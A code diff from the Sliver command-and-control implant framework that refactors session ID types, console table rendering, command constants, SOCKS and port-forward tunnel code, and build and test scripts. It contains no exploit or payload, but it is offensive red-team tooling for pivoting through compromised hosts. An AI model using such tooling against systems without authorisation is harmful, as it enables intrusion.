||||
@@ -50,7 +50,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
portfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
LocalPort: int32(localPort),
|
||||
RemoteAddress: remoteAddr,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -61,9 +61,9 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", pfwdAdd.Response.Err)
|
||||
if portfwdAdd.Response != nil && portfwdAdd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", portfwdAdd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", portfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
|
||||
}
|
||||
@@ -19,15 +19,13 @@ package wireguard
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// WGPortFwdListCmd - List WireGuard port forwards
|
||||
@@ -44,12 +42,10 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if fwdList.Response != nil && fwdList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", fwdList.Response.Err)
|
||||
return
|
||||
@@ -59,18 +55,22 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(fwdList.Forwarders) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
} else {
|
||||
outBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Local Address")),
|
||||
strings.Repeat("=", len("Remote Address")))
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
for _, fwd := range fwdList.Forwarders {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
|
||||
tw.AppendRow(table.Row{
|
||||
fwd.ID,
|
||||
fwd.LocalAddr,
|
||||
fwd.RemoteAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Println(outBuf.String())
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -19,15 +19,13 @@ package wireguard
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// WGSocksListCmd - List WireGuard SOCKS proxies
|
||||
@@ -44,30 +42,30 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if socksList.Response != nil && socksList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", socksList.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if socksList.Servers != nil {
|
||||
if len(socksList.Servers) > 0 {
|
||||
outBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tLocal Address\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Local Address")))
|
||||
if 0 < len(socksList.Servers) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Local Address",
|
||||
})
|
||||
for _, server := range socksList.Servers {
|
||||
fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
|
||||
tw.AppendRow(table.Row{
|
||||
server.ID,
|
||||
server.LocalAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Println(outBuf.String())
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+18
-14
@@ -31,6 +31,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -41,13 +42,10 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -167,7 +165,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
@@ -175,7 +174,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
|
||||
case consts.JoinedEvent:
|
||||
@@ -190,8 +190,9 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
@@ -204,12 +205,15 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
@@ -229,7 +233,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
@@ -295,7 +299,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
// was restarted between the time the task was created and the server go the result
|
||||
// was restarted between the time the task was created and when the server got the result
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
@@ -406,7 +410,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
|
||||
return session
|
||||
}
|
||||
}
|
||||
|
||||
@@ -97,22 +97,23 @@ const (
|
||||
KickOperatorStr = "kick-operator"
|
||||
MultiplayerModeStr = "multiplayer"
|
||||
|
||||
SessionsStr = "sessions"
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
SessionsStr = "sessions"
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
SearchStr = "search"
|
||||
|
||||
// Generic
|
||||
|
||||
@@ -187,8 +188,11 @@ const (
|
||||
MigrateStr = "migrate"
|
||||
SideloadStr = "sideload"
|
||||
SpawnDllStr = "spawndll"
|
||||
ExtensionStr = "extension"
|
||||
LoadMacroStr = "load-macro"
|
||||
ExtensionsStr = "extensions"
|
||||
InstallStr = "install"
|
||||
ListStr = "list"
|
||||
ArmoryStr = "armory"
|
||||
AliasesStr = "aliases"
|
||||
StageListenerStr = "stage-listener"
|
||||
|
||||
WebsitesStr = "websites"
|
||||
@@ -207,6 +211,7 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
RegistryDeleteKeyStr = "delete"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
@@ -215,6 +220,7 @@ const (
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
@@ -237,6 +243,6 @@ const (
|
||||
SliverHelpGroup = "Sliver:"
|
||||
SliverWinHelpGroup = "Sliver - Windows:"
|
||||
MultiplayerHelpGroup = "Multiplayer:"
|
||||
MacroHelpGroup = "Sliver - 3rd Party macros:"
|
||||
AliasHelpGroup = "Sliver - 3rd Party macros:"
|
||||
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
|
||||
)
|
||||
@@ -1,5 +1,23 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
|
||||
@@ -29,7 +29,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -30,7 +31,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util/leaky"
|
||||
)
|
||||
|
||||
@@ -43,12 +43,11 @@ var (
|
||||
SocksConnPool = sync.Map{}
|
||||
SocksProxyID = 0
|
||||
)
|
||||
var coreLog = log.NamedLogger("ClientCore", "sessions")
|
||||
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
Username string
|
||||
Password string
|
||||
@@ -121,7 +120,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
SocksConnPool.Delete(p.TunnelID)
|
||||
continue
|
||||
}
|
||||
coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
//fmt.Printf("recv data len %d \n", len(p.Data))
|
||||
_, err := n.Write(p.Data)
|
||||
if err != nil {
|
||||
@@ -151,7 +150,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
Request: &commonpb.Request{SessionID: rpcSocks.SessionID},
|
||||
})
|
||||
}
|
||||
coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
tcpProxy.Listener.Close()
|
||||
proxy.CloseSend()
|
||||
return nil
|
||||
@@ -193,7 +192,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
|
||||
SocksConnPool.Store(frame.TunnelID, conn)
|
||||
|
||||
coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
|
||||
buff := leakyBuf.Get()
|
||||
defer leakyBuf.Put(buff)
|
||||
@@ -209,7 +208,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
if n > 0 {
|
||||
frame.Data = buff[:n]
|
||||
frame.Sequence = ToImplantSequence
|
||||
coreLog.Debugf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
err := stream.Send(frame)
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
|
||||
}
|
||||
|
||||
// Start - Add a tunnel to the core mapper
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
tunnel := &Tunnel{
|
||||
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
IsOpen bool
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
|
||||
Send chan []byte
|
||||
Recv chan []byte
|
||||
|
||||
+4
-4
@@ -32,11 +32,11 @@ import (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil {
|
||||
insecureRand.Seed(int64(time.Now().Unix()))
|
||||
} else {
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, int(agentSession.Session.GetID())
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
|
||||
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
|
||||
+13
-16
@@ -16,12 +16,12 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.5"
|
||||
GO_VER="1.17.6"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
@@ -50,7 +50,7 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
mkdir -p $OUTPUT_DIR
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -134,23 +134,20 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
|
||||
+32
-15
@@ -21,28 +21,45 @@ echo "----------------------------------------------------------------"
|
||||
echo "WARNING: Running unit tests on slow systems can take a LONG time"
|
||||
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
TAGS=osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
## Client
|
||||
|
||||
# client / command / alias
|
||||
if go test -tags=client,$TAGS ./client/command/alias ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / command / extensions
|
||||
if go test -tags=client,$TAGS ./client/command/extensions ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Util
|
||||
|
||||
# util
|
||||
if go test -tags=server,gosqlite ./util ; then
|
||||
if go test -tags=server,$TAGS ./util ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server,gosqlite ./util/encoders/basex ; then
|
||||
if go test -tags=server,$TAGS ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server,gosqlite ./util/encoders ; then
|
||||
if go test -tags=server,$TAGS ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=client,gosqlite ./util/encoders ; then
|
||||
if go test -tags=client,$TAGS ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -51,7 +68,7 @@ fi
|
||||
## Implant
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test -tags=server,gosqlite ./implant/sliver/transports/dnsclient ; then
|
||||
if go test -tags=server,$TAGS ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -60,7 +77,7 @@ fi
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
if go test -tags=server,gosqlite ./server/website ; then
|
||||
if go test -tags=server,$TAGS ./server/website ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -68,7 +85,7 @@ else
|
||||
fi
|
||||
|
||||
# server / loot
|
||||
if go test -tags=server,gosqlite ./server/loot ; then
|
||||
if go test -tags=server,$TAGS ./server/loot ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -76,7 +93,7 @@ else
|
||||
fi
|
||||
|
||||
# server / certs
|
||||
if go test -tags=server,gosqlite ./server/certs ; then
|
||||
if go test -tags=server,$TAGS ./server/certs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -84,7 +101,7 @@ else
|
||||
fi
|
||||
|
||||
# server / cryptography
|
||||
if go test -tags=server,gosqlite ./server/cryptography ; then
|
||||
if go test -tags=server,$TAGS ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -92,7 +109,7 @@ else
|
||||
fi
|
||||
|
||||
# server / cryptography / minisign
|
||||
if go test -tags=server,gosqlite ./server/cryptography/minisign ; then
|
||||
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -100,7 +117,7 @@ else
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server,gosqlite ./server/gogo ; then
|
||||
if go test -tags=server,$TAGS ./server/gogo ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -108,7 +125,7 @@ else
|
||||
fi
|
||||
|
||||
# server / c2
|
||||
if go test -tags=server,gosqlite ./server/c2 ; then
|
||||
if go test -tags=server,$TAGS ./server/c2 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -116,7 +133,7 @@ else
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server,gosqlite ./server/configs ; then
|
||||
if go test -tags=server,$TAGS ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -124,7 +141,7 @@ else
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server,gosqlite ./server/console ; then
|
||||
if go test -tags=server,$TAGS ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -132,7 +149,7 @@ else
|
||||
fi
|
||||
|
